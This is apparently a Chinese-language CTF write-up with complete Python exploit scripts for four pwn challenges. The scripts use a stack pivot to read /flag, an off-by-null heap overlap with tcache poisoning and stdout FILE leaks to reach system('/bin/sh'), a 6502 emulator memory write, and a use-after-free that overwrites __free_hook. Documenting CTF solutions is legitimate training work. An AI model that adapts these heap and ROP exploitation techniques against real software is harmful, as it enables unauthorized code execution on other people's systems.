附件在我的 github 仓库里可以找到: ctf-writeup-collection
silent
这道题其实拿栈上残留的 dl_main
地址改末四位偏移可以找到一个 syscall + 栈迁移的 gadget,只需要爆破 1/16
的概率就行了:
#!/usr/bin/env python3
# Date: 2023-11-04 09:49:11
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port
from lianpwn import *
from pwncli import *
cli_script()
set_remote_libc("./libc-2.27.so")
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
brop_gadget = 0x40095A
pop_rsi_r15_ret = brop_gadget + 7
pop_rdi_ret = brop_gadget + 9
ret_addr = brop_gadget + 10
leave_ret = 0x0000000000400876
read_addr = elf.plt.read
fake_stack = 0x601000
payload = b"a" * (64) + p64(fake_stack + 0x100)
payload += flat(
[
pop_rsi_r15_ret,
fake_stack + 0x100,
0,
read_addr,
pop_rsi_r15_ret,
fake_stack + 0x80,
0,
read_addr,
pop_rsi_r15_ret,
elf.sym.stdout,
0,
pop_rdi_ret,
1,
]
)
payload += p64(ret_addr) * (0x10 - 9 - 4)
# magic_gadget: syscall; lea rsp, [rbp - 0x28]; pop rbx; pop r12; pop r13; pop r14; pop r15; pop rbp; ret
guessBIT0 = int(input("[INPUT] Guess one bit for ld: "), 16)
payload += p16(0x1116 + (guessBIT0 << 12))
s(payload)
payload = flat(
[
0,
pop_rsi_r15_ret,
0x601138 - 8,
0,
pop_rdi_ret,
0,
read_addr,
]
)
input()
s(payload)
input()
s(b"a")
libc_base = u64_ex(rn(6)) - 0x3EC760
lg("libc_base", libc_base)
assert libc_base & 0xFFF == 0
print(hex(libc_base))
pop_rsi_ret = 0x0000000000023A6A + libc_base
pop_rdx_ret = 0x0000000000130516 + libc_base
payload = b"/flag\x00".ljust(8, b"\x00")
payload += flat(
[
pop_rsi_ret,
0,
pop_rdi_ret,
0x601130,
libc_base + libc.sym.open,
pop_rdi_ret,
3,
pop_rsi_ret,
0x601048,
pop_rdx_ret,
0x100,
libc_base + libc.sym.read,
pop_rdi_ret,
1,
libc_base + libc.sym.write,
]
)
input()
s(payload)
ia()
babyheap
2.38 里面我测试下来 fflush(house of apple2)
其实还是可以打的,但是 malloc_assert
被改了没法调用到 fflush(stderr)
,不过这题的限制实在太少了,一个 offbynull 构造出来 overlap,改到 tcache 结构体上面后就借助 IO_file
的 leak 方式实现了真 - 任意地址读写,那无论版本怎么更新打栈总归不会错的:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# expBy : @eastXueLian
# Debug : ./exp.py debug ./pwn -t -b b+0xabcd
# Remote: ./exp.py remote ./pwn ip:port
from lianpwn import *
from pwncli import *
cli_script()
set_remote_libc("libc.so.6")
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(choice):
ru(b">> \n")
sl(i2b(choice))
def add(size, data=b""):
cmd(1)
ru(b"input your name size\n")
sl(i2b(size))
ru(b"input your name\n")
if len(data) < size:
data += b"\n"
s(data)
def edit(idx, size, data):
cmd(2)
ru(b"input index\n")
sl(i2b(idx))
ru(b"input your name size\n")
sl(i2b(size))
ru(b"input your name\n")
if len(data) < size:
data += b"\n"
s(data)
def show(idx):
cmd(3)
ru(b"input index\n")
sl(i2b(idx))
def delet(idx):
cmd(4)
ru(b"input index\n")
sl(i2b(idx))
ru(b"and this line will make the game easier\n")
heap_addr = int(ru(b"\n", drop=True), 16) & (-1 << 12)
lg_suc("heap_addr", heap_addr)
lg_inf("constructing overlap")
add(0x408)
add(0x4F8)
add(0x408)
add(0x408)
add(0x408)
lg_inf("off by null")
edit(
0,
0x408,
flat(
{
0x00: [
heap_addr + 0x2B0,
heap_addr + 0x2B0,
],
0x400: 0x410,
},
filler=b"\x00",
),
)
lg_inf("unlink")
delet(1)
lg_err("Cant leak for \\x00")
lg_inf("putting evil chunk into largebin")
add(0x478)
add(0x488)
delet(1)
add(0x500)
show(0)
libc_base = u64_ex(rn(6)) - 0x1FF110
lg("libc_base", libc_base)
lg_inf("Trying tcache")
add(0x408) # 6
delet(3)
delet(6)
edit(0, 0x408, p64((heap_addr >> 12) ^ heap_addr + 0x10))
add(0x408) # 3
add( # 6
0x408,
flat(
{
0x78: 0x7000000000000,
0x278: libc_base + libc.sym._IO_2_1_stdout_,
},
filler=b"\x00",
),
)
add(
0x408,
p64(0xFBAD1800)
+ p64(0) * 3
+ p64(libc_base + libc.sym.environ)
+ p64(libc_base + libc.sym.environ + 8) * 2
+ p64(libc_base + libc.sym._IO_2_1_stdout_ + 131)
+ p64(libc_base + libc.sym._IO_2_1_stdout_ + 132),
)
stack_base = u64_ex(rn(6)) - 0x180
lg("stack_base", stack_base)
def cmd(choice):
ru(b">>")
sl(i2b(choice))
def add(size, data=b""):
cmd(1)
ru(b"input your name size")
sl(i2b(size))
ru(b"input your name")
if len(data) < size:
data += b"\n"
s(data)
def edit(idx, size, data):
cmd(2)
ru(b"input index")
sl(i2b(idx))
ru(b"input your name size")
sl(i2b(size))
ru(b"input your name")
if len(data) < size:
data += b"\n"
s(data)
def show(idx):
cmd(3)
ru(b"input index")
sl(i2b(idx))
def delet(idx):
cmd(4)
ru(b"input index")
sl(i2b(idx))
def orb_malloc(target, data):
edit(
6,
0x408,
flat(
{
0x78: 0x7000000000000,
0x278: target,
},
filler=b"\x00",
),
)
add(0x408, data)
orb_malloc(
libc_base + libc.sym._IO_2_1_stdout_,
p64(0xFBAD1800)
+ p64(0) * 3
+ p64(stack_base + 0x10)
+ p64(stack_base + 0x10 + 8) * 2
+ p64(libc_base + libc.sym._IO_2_1_stdout_ + 131)
+ p64(libc_base + libc.sym._IO_2_1_stdout_ + 132),
)
canary = u64_ex(rn(8))
lg("canary", canary)
orb_malloc(
stack_base + 8,
flat(
[
0xDEADBEEF,
canary,
stack_base,
libc_base + 0x0000000000028715 + 1,
libc_base + 0x0000000000028715,
libc_base + next(libc.search(b"/bin/sh\x00")),
libc_base + libc.sym.system,
],
filler=b"\x00",
),
)
ia()
6502
其实是超级水题,比赛时被唬住了花了一大堆时间,其实就 lda_imm, sta_abs
来修改任意地址,adc_abs
来计算偏移量:
#!/usr/bin/env python3
# Date: 2023-11-04 17:36:50
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port
from lianpwn import *
from pwncli import *
cli_script()
set_remote_libc("libc.so.6")
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
debugB()
payload = b""
def lda_imm(arg):
global payload
payload += p8(0xA9) + p8(arg)
def ldx_imm(arg):
global payload
payload += p8(0xA2) + p8(arg)
def ldx_abs(arg):
global payload
payload += p8(0xAE) + p16(arg)
def stx_abs(arg):
global payload
payload += p8(0x8E) + p16(arg)
def sta_abs(arg):
global payload
payload += p8(0x8D) + p16(arg)
def adc_abs(arg):
global payload
payload += p8(0x6D) + p16(arg)
# DEBUG
ldx_imm(1)
stx_abs(0xFFC3)
lda_imm(0xB0)
adc_abs(0xDEF2)
sta_abs(0xDEF2)
lda_imm(0xEB - 1)
adc_abs(0xDEF2 + 1)
sta_abs(0xDEF2 + 1)
lda_imm(0xFD - 1)
adc_abs(0xDEF2 + 2)
sta_abs(0xDEF2 + 2)
ldx_abs(0xDEF2)
ldx_abs(0xDEF3)
ldx_abs(0xDEF4)
ru(b"give me the code length: \n")
s(i2b(len(payload)))
ru(b"give me the code: ")
s(payload)
s(b"/bin/sh\x00")
ia()
atuo_coffee_sale_machine
我们战队也好想要咖啡机,UAF + IO leak
打 tcache 搞定:
#!/usr/bin/env python3
# Date: 2023-11-04 14:05:20
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
cli_script()
set_remote_libc("libc-2.31.so")
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
i2b = lambda c: str(c).encode()
lg = lambda s_name, s_val: print("\033[1;31;40m %s --> 0x%x \033[0m" % (s_name, s_val))
debugB = lambda: input("\033[1m\033[33m[ATTACH ME]\033[0m")
def cmd(choice):
ru(b">>>")
s(i2b(choice))
def sell(co_id, sth=b""):
cmd(1)
ru(b"input the id of what coffee you want to buy")
s(i2b(co_id))
ru(b"Do you want to add something?Y/N")
if sth == b"":
sl(b"N")
else:
sl(b"Y")
ru(b"Ok,please input what you need in coffee")
s(sth)
def admin():
cmd(4421)
ru(b"please input the admin password")
_pass = b'lwuv"ryp"kv'
new_pass = b""
for i in _pass:
new_pass += bytes([i - 2])
sl(new_pass)
def repl(id):
cmd(1)
ru(b"input the id you want to replenish")
cmd(id)
def change(id, cfe, cont):
cmd(2)
ru(b"input the id you want to change")
cmd(id)
ru(b"input which coffee you want to change")
cmd(cfe)
ru(b"input your content")
s(cont)
admin()
payload = p64(0xFBAD1800) + p64(0) * 3 + p8(0)
change(1, -31, payload)
ru(b"\x00" * 8)
libc_base = u64_ex(rn(6)) - 0x1EC980
lg("libc_base", libc_base)
cmd(3)
sell(3)
sell(3)
sell(3)
sell(3)
sell(3)
sell(3)
admin()
change(3, 6, p64(libc_base + libc.sym.__free_hook))
cmd(3)
for i in range(5):
sell(2)
admin()
repl(2)
repl(2)
repl(2)
change(2, 3, p64(libc_base + libc.sym.system))
change(1, 1, b"/bin/sh\x00")
cmd(3)
sell(1)
ia()
总结:
其实已经很久没有见到这么友善的 pwn 题了,甚至一道 kernel 也没有。
~从未如此美妙的比赛,我必须好好地珍惜这段时光~~
反转了,被 6502 的低版本库折磨,又被 2.38 的高版本给唬住,打得依托④。。。